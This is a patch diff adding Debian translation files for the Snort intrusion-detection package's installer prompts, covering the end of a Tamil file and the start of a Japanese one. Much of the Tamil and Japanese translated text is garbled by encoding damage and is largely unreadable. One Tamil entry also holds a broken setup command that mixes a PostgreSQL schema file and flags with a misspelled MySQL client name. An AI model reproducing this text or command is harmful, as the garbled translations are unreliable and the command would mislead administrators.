+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+#, fuzzy
+#| msgid "Please enter the password for the database connection."
+msgid "Password for the database connection:"
+msgstr "தரவ�த� தள இணப�ப�க�க� கடவ�ச�சொல� உள�ளிட�க."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+#, fuzzy
+#| msgid "Please enter a password to connect to the Snort Alert database."
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr "ஸ�னோர�ட� அலர�ட� தரவ�த� தள இணப�ப�க�க� கடவ�ச�சொல� உள�ளிட�க."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+#, fuzzy
+#| msgid ""
+#| "Snort needs a configured database before it can successfully start up. In "
+#| "order to create the structure you need to run the following commands "
+#| "AFTER the package is installed:\n"
+#| " cd /usr/share/doc/snort-mysql/\n"
+#| " zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>\n"
+#| "Fill in the correct values for the user, host, and database names. MySQL "
+#| "will prompt you for the password."
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"ஸ�னோர�ட� வெற�றிகரமாக த�வக�கப� பட வடிவமைக�கப� பட�ட தரவ�த�தளம� தேவை. பொதி நிற�வப� பட�ட "
+"*பின�* பின� வர�ம� கட�டளைகளை இயக�கி உங�கள�க�க� தேவையான அமைப�பை உர�வாக�கவ�ம�:\n"
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_postgresql.gz | myql -U <user> -h <host> -W <databasename>\n"
+"பயனர�, ப�ரவலன� மற�ற�ம� தரவ�த�தள பெயர�கள� ஆகியவற�ற�க�க� சரியான மதிப�ப�களை நிரப�ப�க. "
+"MySQL கடவ�ச�சொல�ல�க�காக உங�களை தூண�ட�ம�."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+#, fuzzy
+#| msgid ""
+#| "After you created the database structure, you will need to start Snort "
+#| "manually."
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr "நீங�கள� தரவ�த�தள அமைப�பை உர�வாக�கிய பின� ஸ�னோர�ட�டை கைம�றையாக த�வக�க வேண�ட�ம�."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+#, fuzzy
+#| msgid "Do you want to set up a database for snort-pgsql to log to?"
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "ஸ�னோர�ட�-பிஜிஎஸ�க�யூஎல� உள�ந�ழைய தரவ�த�தளம� ஒன�றை உர�வாக�க வேண�ட�மா?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid "This system uses an obsolete configuration file"
+msgid "Deprecated configuration file"
+msgstr "இந�த கணினி வழக�கொழிந�த வடிவமைப�ப� கோப�பை பயன� பட�த�த�கிறத�."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid ""
+#| "Your Snort configuration file (/etc/snort/snort.conf) uses deprecated "
+#| "options no longer available for this Snort release.  Snort will not be "
+#| "able to start unless you provide a correct configuration file. You can "
+#| "substitute your configuration file with the one provided in this package "
+#| "or fix it manually by removing deprecated options."
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"உங�கள� ஸ�னோர�ட� வடிவமைப�ப� கோப�ப� (/etc/snort/snort.conf) இந�த பதிப�ப� ஸ�னோர�ட� இல� "
+"கைவிடப�பட�ட இப�போத� கிடைக�காத தேர�வ�களை பயன� பட�த�த�கிறத�.நீங�கள� சரியான வடிவமைப�ப� "
+"கோப�பை தர�ம� வரை ஸ�னோர�ட� த�வங�க இயலாத�. இந�த பொதியில� தரப� பட�ட�ள�ள ஒன�றால� உங�கள� "
+"வடிவமைப�ப� கோப�பை நீக�கலாம�. அல�லத� கைம�றையாக கைவிடப�பட�ட தேர�வ�களை நீக�கி சரி செய�யலாம�."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid ""
+#| "The following deprecated options were found in your configuration file: "
+#| "${DEP_CONFIG}"
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"உங�கள� வடிவமைப�ப� கோப�பில� பின�வர�ம� கைவிடப�பட�ட தேர�வ�கள� காணப� பட�டன:${DEP_CONFIG}"
+
+#, fuzzy
+#~| msgid "You are running Snort manually."
+#~ msgid "You are running Snort manually"
+#~ msgstr "நீங�கள� ஸ�னோர�டை கைம�றையாக இயக�க�கிறீர�கள�."
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "உங�கள� வடிவமைப�பில� ஒர� பிழை உள�ளத�."
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "உங�கள� வடிவமைப�ப� கோப�ப� கைவிடப�பட�டத�."
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "த�வக�கம�, டயல� செய�த போத�, கைம�றை"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "ஸ�னோர�ட� எப�போத� த�வக�கப� பட வேண�ட�ம�?"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "வலைப�பின�னலின� எந�த பக�தியைய�ம� நம�பாமல� இர�க�க விர�ம�பினால� '�த�ம�' எனக� க�றிப�பிடலாம�."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "நீங�கள� க�றிப�பிட�ட இடைம�கத�தில� ஒன�ற� செல�ல�படியாகாதத�. (அத� இல�லாமல� இர�க�கலாம� "
+#~ "அல�லத� செயலிழந�திர�க�கலாம�.) எந�த இடை ம�கத�தில� ஸ�னோர�ட� செவி சாய�க�க வேண�ட�ம�? என�ற "
+#~ "கேள�விக�க� பதில� தர�ம� போத� ஒர� செல�ல�படியாக�ம� இடைம�கத�தை க�றிப�பிடவ�ம�."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "நீங�கள� ஒர� இடைம�கத�தை க�றிப�பிடவில�லையானால� இந�த பொதி ம�ன�னிர�ப�பான 'eth0'� "
+#~ "பயன�பட�த�த ம�யல�கிறத�. அத� உங�கள� கணினியில� செல�ல�படியாகாதத� போல தெரிகிறத�."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "ஸ�னோர�டின� சோதிக�க�ம� வரிசை விதிகள� அன�ப�ப�| எச�சரி|லாக� பதிவ� என மாற�றினால�அந�த "
+#~ "வரிசையில� அவை செயல�பட�த�தப� பட�ம�. சாதாரணமாக இந�த வரிசை எச�சரி|அன�ப�ப� |லாக� "
+#~ "பதிவ�இத� மக�களை அவர�களின� எச�சரிக�கை விதிகளை பெர�கி பொட�டல வடிப�பி கட�டளை வரி "
+#~ "தர�க�கத�த�க�க� நீண�ட வரி எழ�த�வதை தவிர�க�க�ம�."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "இந�த ஸ�னோர�ட� நிற�வல� ஒர� க�ரான� வேலையை தினசரி இயக�க�கிறத�. அத� ஸ�னோர�ட� பதிவேட�டில� "
+#~ "உள�ளவற�றை ச�ர�க�கி ஒர� மின�னஞ�சல�க�க� அன�ப�ப�கிறத�. இதை வேண�டாம� என கர�தினால� இங�க� "
+#~ "இல�லை என க�றிப�பிடவ�ம�."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "தினசரி இயங�க�ம� ஒர� க�ரான� வேலை 'snort-stat' என�ற ஒர� சிற�நிரலால�  அத� ஸ�னோர�ட� "
+#~ "பதிவேட�டில� உள�ள தகவலை ச�ர�க�க�கிறத�. இங�க� அதை பெற வேண�டிய நபரை க�றிப�பிடவ�ம�. "
+#~ "ம�ன�னிர�ப�ப� கணினி மேலாளர�. நீங�கள� இதையே வைத�த�க� கொள�வதாக இர�ந�தால� "
+#~ "மேலாளரிடமிர�ந�த� நிச�சயமாக படிக�க�ம� ஒர� பயனர�க�க� அத� மேல� அன�ப�பப� பட�வதை உற�தி "
+#~ "செய�த� கொள�ளவ�ம�."
+
+#, fuzzy
+#~| msgid ""
+#~| "If you want to specify custom options to Snort, please specify them here."
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr ""
+#~ "நீங�கள� ஸ�னோர�ட�க�க� தனிப�பயன� தேர�வ�களை க�றிப�பிட விர�ம�பினால� இங�க� க�றிப�பிடவ�ம�. "
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "அமைப�ப� செயல�பட தயை செய�த� ஸ�னோர�டை\n"
+#~ "இதை பயன� பட�த�தி மீள�த�வக�கவ�ம�:\n"
+#~ " /etc/init.d/snort start"
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "உங�கள� ஸ�னோர�ட� வடிவமைப�ப� சரியாக இல�லை. ஆகவே ஸ�னோர�ட� சரியாக த�வக�கப� பட ம�டியாத�. "
+#~ "உங�கள� வடிவமைப�பை பார�த�த� சரி செய�யவ�ம�. இதை செய�யாவிட�டால� மேம� பட�த�தல�கள� சிதைய�ம�. "
+#~ "என�ன பிழை நிகழ�கிறத� என அறிய '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf'  � இயக�க�ங�கள�.அல�லத� பல�வேற� இடைம�கங�கள�க�க� பல�வேற� கோப�ப�களைப� பயன� "
+#~ "பட�த�தினால� மாற�ற� வடிவமைப�ப� கோப�ப� ஒன�றை ச�ட�டிக� காட�ட�ங�கள�."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "ம�தல� ம�றை நீங�கள� ஸ�னோர�ட�-மைஎஸ�க�யூஎல� நிற�வ�ம�போத� மட�ட�ம� இதை செய�தால� போத�ம�. மேலே "
+#~ "தொடர�ம�ன� கீழ� கண�டவை உங�களிடம� இர�ப�பதை உற�தி பட�த�திக� கொள�ள�ங�கள�. (1) இந�த "
+#~ "ப�ரவலனினிர�ந�த� டிசிபி இணப�ப�களை அன�மதிக�க�ம� மைஎஸ�க�யூஎல� சேவையகத�தை இயக�க�ம� "
+#~ "கணினியின� ப�ரவலன� பெயர�. (2) அந�த சேவயகத�தில� ஒர� தரவ�த�தளம�.(3) அந�த தரவ�த� தளத�தை "
+#~ "அண�க பயனர� பெயர�ம� கடவ�ச� சொல�ல�ம�. இதெல�லாம� இல�லை எனில� 'இல�லை'  � தேர�ந�தெட�த�த� "
+#~ "வழக�கமான கோப�ப� பதிய�ம� ஆதரவ�டன� இயக�க�க. அல�லத� இதை ம�தலில� சரி செய�க. நீங�கள� "
+#~ "எப�போத� வேண�ட�மானால�ம� உள�ந�ழைந�த� தரவ�த�தள வடிவமைப�பை மாற�றிக� கொள�ளலாம�. இதற�க� "
+#~ "ஸ�னோர�ட�-மைஎஸ�க�யூஎல� பணித� தொக�ப�பை 'dpkg-reconfigure -plow snort-mysql'  கட�டளை "
+#~ "மூலம� செய�யலாம�."
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "இந�த பயனர�க�க� இந�த தரவ�த�தளத�தில� அண�க எழ�த அன�மதி உள�ளத� என�பதை உற�தி செய�த� "
+#~ "கொள�ளவ�ம�."
+
+#, fuzzy
+#~| msgid "Snort needs a configured database to log to before it starts."
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr "ஸ�னோர�ட� த�வங�க�ம� ம�ன� அத� உள�ந�ழைய ஒர� வடிவமைத�த தரவ�த�தளம� தேவை."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "ம�தல� ம�றை நீங�கள� ஸ�னோர�ட�-பிஜிஎஸ�க�யூஎல� நிற�வ�ம�போத� மட�ட�ம� இதை செய�தால� போத�ம�. மேலே "
+#~ "தொடர�ம�ன� கீழ� கண�டவை உங�களிடம� இர�ப�பதை உற�தி பட�த�திக� கொள�ள�ங�கள�. (1) இந�த "
+#~ "ப�ரவலனினிர�ந�த� டிசிபி இணப�ப�களை அன�மதிக�க�ம� பிஜிஎஸ�க�யூஎல� சேவையகத�தை இயக�க�ம� "
+#~ "கணினியின� ப�ரவலன� பெயர�. (2) அந�த சேவயகத�தில� ஒர� தரவ�த�தளம�.(3) அந�த தரவ�த� தளத�தை "
+#~ "அண�க பயனர� பெயர�ம� கடவ�ச� சொல�ல�ம�. இதெல�லாம� இல�லை எனில� 'இல�லை'  � தேர�ந�தெட�த�த� "
+#~ "வழக�கமான கோப�ப� பதிய�ம� ஆதரவ�டன� இயக�க�க. அல�லத� இதை ம�தலில� சரி செய�க. நீங�கள� "
+#~ "எப�போத� வேண�ட�மானால�ம� உள�ந�ழைந�த� தரவ�த�தள வடிவமைப�பை மாற�றிக� கொள�ளலாம�. இதற�க� "
+#~ "ஸ�னோர�ட�-பிஜிஎஸ�க�யூஎல� பணித� தொக�ப�பை 'dpkg-reconfigure -plow snort-pgsql'  "
+#~ "கட�டளை மூலம� செய�யலாம�."
+
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "ஸ�னோர�ட� வெற�றிகரமாக த�வக�கப� பட வடிவமைக�கப� பட�ட தரவ�த�தளம� தேவை. பொதி நிற�வப� பட�ட "
+#~ "*பின�* பின� வர�ம� கட�டளைகளை இயக�கி உங�கள�க�க� தேவையான அமைப�பை உர�வாக�கவ�ம�:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "பயனர�, ப�ரவலன� மற�ற�ம� தரவ�த�தள பெயர�கள� ஆகியவற�ற�க�க� சரியான மதிப�ப�களை நிரப�ப�க. "
+#~ "PostgreSQL கடவ�ச�சொல�ல�க�காக உங�களை தூண�ட�ம�."
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "எந�த இடை ம�கத�தில� ஸ�னோர�ட� செவி சாய�க�க வேண�ட�ம� என உள�ளீட� செய�ய�ங�கள�. கிடைக�கக� கூடிய "
+#~ "இடைம�கங�கள�  'ifconfig'இன� 'iplink show'கட�டளையை இயக�க�வதால�கிடைக�கப� பெற�ம�. இந�த "
+#~ "மதிப�ப� சாதாரணமாக  'eth0'ஆனால� நீங�கள� உங�கள� சூழ�நிலையை பொற�த�த�இதை மாற�ற "
+#~ "விர�ம�பலாம�. நீங�கள� டயல� அப� இணைப�பை பயன�பட�த�தினால� 'ppp0' பொர�த�தமானதாக இர�க�க�ம�. "
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr "ஸ�னோர�ட� செவி சாய�க�க வேண�டிய ம�கவரி வீச�சை உள�ளிடவ�ம�."
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "வடிவமைத�த �பி ம�கவரி இல�லாத இடைம�கத�தில� ஸ�னோர�ட�டை நிற�வ�வதானால� வரைம�றையற�ற "
+#~ "பாங�கைசெயல� நீக�க�ங�கள�"
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr "பயன�பட�த�த வேண�டிய மைஎஸ�க�யூஎல� தரவ�த�தள சேவையகத�தின� ப�ரவலன� பெயரை உள�ளிட�க."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "பயன�பட�த�த வேண�டிய தரவ�த� தளத�தின� பெயரை உள�ளிட�க. "
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr "தரவ�த� தளத�தை பயன�பட�த�த பயனர� பெயரை உள�ளிட�க. "
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr ""
+#~ "பயன�பட�த�த வேண�டிய பிஜிஎஸ�க�யூஎல� தரவ�த�தள சேவையகத�தின� ப�ரவலன� பெயரை உள�ளிட�க."
--- snort-2.8.5.2.orig/debian/po/ja.po
+++ snort-2.8.5.2/debian/po/ja.po
@@ -0,0 +1,595 @@
+# 
+#    Translators, if you are not familiar with the PO format, gettext
+#    documentation is worth reading, especially sections dedicated to
+#    this format, e.g. by running:
+#         info -n '(gettext)PO Files'
+#         info -n '(gettext)Header Entry'
+# 
+#    Some information specific to po-debconf are available at
+#            /usr/share/doc/po-debconf/README-trans
+#         or http://www.debian.org/intl/l10n/po-debconf/README-trans
+# 
+#    Developers do not need to manually edit POT or PO files.
+# 
+# 
+msgid ""
+msgstr ""
+"Project-Id-Version: snort 2.8.1-2\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-12-21 22:26+0900\n"
+"Last-Translator: Hideki Yamane (Debian-JP) <henrich@debian.or.jp>\n"
+"Language-Team: Japanese <debian-japanese@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "起動時"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "ダイヤルアップ時"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "手動"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "snort �起動方法:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort ��システム起動中�pppd を利用���ットワーク�接続��時���� "
+"/usr/sbin/snort コマンドを手動�実行��時������れ��起動����。"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Snort � listen �るインターフェイス:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"����値�通常 'eth0' ����環境よ���変更����も�れ��ん: ダイヤ"
+"ルアップ接続を利用���る場���'ppp0' �より�切��ょ� ('/sbin/ifconfig' "
+"�出力を確�������)。"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"大抵�場���れ� 'default route' �存在�るも������。��インターフェ"
+"イスを使��� '/sbin/route -n' を実行�� ('0.0.0.0' を探��)�決定����。"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"IP を付与�����インターフェイス上� promiscuous モード� Snort を動作��"
+"る����り一般的���り��ん。��よ��場���信を行����ットワーク"
+"�対��物�的�接続�れ��る��システム上�インターフェイスを�択��後�"
+"� promiscuous モードを有効����ットワークトラフィック���インターフェイ"
+"ス (スイッ�� 'port mirrorining/spanning' �ート��ブ��る���ットワーク"
+"タップ�接続�れ����) �届���る�を確�������。"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"一�より多�インターフェイス��空白�区切��追加�る����複数�インター"
+"フェイスを設定����。インターフェイス���固有�設定��能��。"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "ローカル�ットワーク�アドレス範囲:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"CIDR 形��記述������。例�� 192.168.1.0/24 � 256 個�アドレスブロック"
+"��192.168.1.42/32 � 1 個�アドレス��り��。複数�値�場��(スペース��"
+"��) カンマ�区切��記述���ょ�。"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Snort �複数�インターフェイスを使�よ��設定�れ��る場����値�全��"
+"インターフェイス� HOME_NET 定義���利用�れる���注�������。"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Snort ����インターフェイス� promiscuous モードを無効�����?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"promiscuous モードを無効��る��Snort �自身�モニタリング���るインター"
+"フェイス���られ�パケット��を監視���。有効��る��自身以外�他�コン"
+"ピュータ間�やり�りを���イーサ�ットセグメント上�全��パケットを�ェック"
+"�るよ���り��。"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "�正�インターフェイス"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort �存在�������る��ダウン���るインターフェイスを使��������。"
+"�切����デフォルト��れ��る 'eth0'��る������指定��インターフェイス"
+"�正���り��ん。"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Snort �ルールセット�テスト順を Pass|Alert|Log �変更����?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"Snort �デフォルト�テスト順� Alert|Pass|Log ��。��オプションを有効��る�"
+"�順番� Pass|Alert|Log �変更�れ�Snort をパケットフィルタリングツール�一緒�"
+"使���簡���り��。"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "メール�毎日サマリを�り���?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"cron ジョブ�指定��メールアドレス� Snort ログ�日次サマリを�るよ��設定����。"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "��機能を有効��る����を�択������。"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "日次統計�メール�宛先:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Snort ログ�日次サマリを���れるメールアドレスを指定������。"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "追加�カスタムオプション:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Snort �使�追加�オプションを指定������。"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "アラートを報告�る最�発生件数:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
